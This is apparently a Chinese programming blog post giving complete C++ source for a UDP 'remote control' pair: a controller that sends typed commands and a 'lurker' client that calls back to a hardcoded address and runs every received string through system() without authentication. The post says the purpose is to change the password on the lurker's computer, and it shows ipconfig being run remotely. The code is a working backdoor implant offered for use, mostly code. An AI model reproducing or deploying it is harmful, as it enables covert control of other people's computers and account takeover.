C/C++轻松写基于UDP的远程控制

原创 2017年01月24日 00:20:58

思路:

打开socket,服务端输入字符串,客户端接受后运行cmd,从而修改潜伏者所在电脑密码

局限性:

如果要进行两个不同的局域网通信就得要一个公有IP进行转发,或者打洞。


解释

1.局域网:每一个路由器(家庭版)划分广播域(思科或华为的设备每一个端口是一个广播域)---这里要说明下,其实家庭版的路由器应该叫交换机,本文用家庭版路由器代替

2.打洞:因为路由器有安全功能,不能让外网的数据访问内网,但如果内网主动与外网建立连接后,外网就可以访问内网

3.UDP:不可靠,会丢包

4.相关协议:NAT和NAPT


我们这个是简单的内网通信,所以不用考虑那么多


下面不再讲解socket具体函数实现,直接上代码


服务器:

SocketUdp.h

#ifndef _SOCKET_UDP_
#define _SOCKET_UDP_

#include <stdio.h>
#include <WinSock2.h>

#pragma comment(lib,"ws2_32.lib")

class Socket_udp
{
public:
	Socket_udp(int port);
	~Socket_udp();
	void run();
private:
	int m_port;		//端口号
	sockaddr_in serAddr;
	SOCKET serSocket;
	sockaddr_in remoteAddr;
	int nAddrLen;
};

Socket_udp::Socket_udp(int port)
{
	WSADATA wsaData;
	WORD sockVersion = MAKEWORD(2, 2);
	m_port = port;
	if (WSAStartup(sockVersion, &wsaData) != 0)
	{
		printf("Socket_udp打开失败!\n");
		system("pause");
		exit(0);
	}
	serSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
	if (serSocket == INVALID_SOCKET)
	{
		printf("Socket为无用状态!\n");
		system("pause");
		exit(0);
	}
	serAddr.sin_family = AF_INET;
	serAddr.sin_port = htons(m_port);
	serAddr.sin_addr.S_un.S_addr = INADDR_ANY;
	if (bind(serSocket, (sockaddr *)&serAddr, sizeof(serAddr)) == SOCKET_ERROR)
	{
		printf("bind连接失败!\n");
		closesocket(serSocket);
		WSACleanup();
		exit(0);
	}
	nAddrLen = sizeof(remoteAddr);
	printf("服务器已经开启!等待中!\n");
}

void Socket_udp::run()
{
	char buf[1024];
	char sendbuf[1024];
	int n = recvfrom(serSocket, buf, sizeof(buf), 0, (sockaddr *)&remoteAddr, &nAddrLen);
	printf_s("%s:%s\n", inet_ntoa(remoteAddr.sin_addr), buf);
	while (true)
	{
		printf_s("输入命令:");
		gets_s(sendbuf);
		sendto(serSocket, sendbuf, sizeof(sendbuf), 0, (sockaddr*)&remoteAddr, nAddrLen);
	}
	system("pause");
}

Socket_udp::~Socket_udp()
{
	closesocket(serSocket);
	WSACleanup();
}

#endif
mian.cpp

#include "SocketUdp.h"

int main()
{
	Socket_udp socket_udp(9999);
	socket_udp.run();
	return 0;
}


潜伏者

Socket_udp.h

#ifndef _UDP_CLI_
#define  _UDP_CLI_

#include <stdio.h>  
#include <winsock2.h>  
#include <windows.h>
#pragma comment(lib, "ws2_32.lib") 

class Socket_udp
{
public:
	Socket_udp(char ip[128], int port);
	~Socket_udp();
	void run();
private:
	int m_port;
	char m_ip[128];
	sockaddr_in sin;
	int m_len;
	SOCKET sclient;
};

Socket_udp::Socket_udp(char ip[128], int port)
{
	strcpy_s(m_ip, ip);
	m_port = port;
	WORD socketVersion = MAKEWORD(2, 2);
	WSADATA wsaData;
	if (WSAStartup(socketVersion, &wsaData) != 0)
		exit(0);
	sclient = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
	sin.sin_family = AF_INET;
	sin.sin_port = htons(m_port);
	sin.sin_addr.S_un.S_addr = inet_addr(m_ip);
	m_len = sizeof(sin);
}

void Socket_udp::run()
{
	char sendbuf[1024] = "潜伏者上线";
	char recvbuf[1024];
	sendto(sclient, sendbuf, sizeof(sendbuf), 0, (sockaddr *)&sin, m_len);
	while (1)
	{
		recvfrom(sclient, recvbuf, sizeof(recvbuf), 0, (sockaddr *)&sin, &m_len);
		printf_s("%s\n", recvbuf);
		system(recvbuf);
	}
}
Socket_udp::~Socket_udp()
{
	closesocket(sclient);
	WSACleanup();
}

#endif // !_UDP_CLI_
main.cpp

#include "Socket_udp.h"
int main()
{
	Socket_udp socket_udp("192.168.164.100", 9999);
	socket_udp.run();
	return 0;
}

注意:打包时要设置运行库



下面是运行结果:

先运行服务器,再运行潜伏者,结果如下



服务器输入ipconfig后




服务器修改潜伏者所在电脑的密码


版权声明:本文为博主原创文章,未经博主允许不得转载。 举报

相关文章推荐

C/C++植物大战僵尸之CE找基址+修改器制作(基础版)

C/C++植物大战僵尸之CE找基址+修改器制作(基础版)

C/C++遍历进程和进程ID的小工具

C/C++遍历进程和进程ID的小工具

我是如何成为一名python大咖的?

人生苦短,都说必须python,那么我分享下我是如何从小白成为Python资深开发者的吧。2014年我大学刚毕业..

Qt|C/C++植物大战僵尸修改器(用户版)

Qt|C/C++植物大战僵尸修改器(用户版)

c++/MFC CSocket仿QQ聊天软件,实现1对1聊天,群聊

学习,c++有2个星期了。本来,本人是做php出身的。做php快2年了,最近身边多了很多高手。让自己对c开始感兴趣了,就开始学习c++了。首先接触的就是mfc。前几天,看到了一个博文,是有关,mfc网...

基于visual c++之windows核心编程代码分析(48)编程实现远程登录3389

3389端口是Windows 2000(2003) Server 远程桌面的服务端口,可以通过这个端口,用"远程桌面"等连接工具来连接到远程的服务器,如果连接上了,输入系统管理员的用户名和密码后,将变...

基于visual c++之windows核心编程代码分析(66)实现Windows服务的远程控制

Windows服务之前已经进行了讲解,如何在安装Windows服务呢,作为远程控制的服务端。 安装Windows服务代码如下 [cpp] view plaincopyprint? ...

VC下远程控制(桌面)的完整实现

源码位置在:http://download.csdn.net/detail/dijkstar/5564789,http://www.pudn.com/downloads552/sourcecode/w...
返回顶部
收藏助手
不良信息举报
您举报文章:深度学习:神经网络中的前向传播和反向传播算法推导
举报原因:
原因补充:

(最多只允许输入30个字)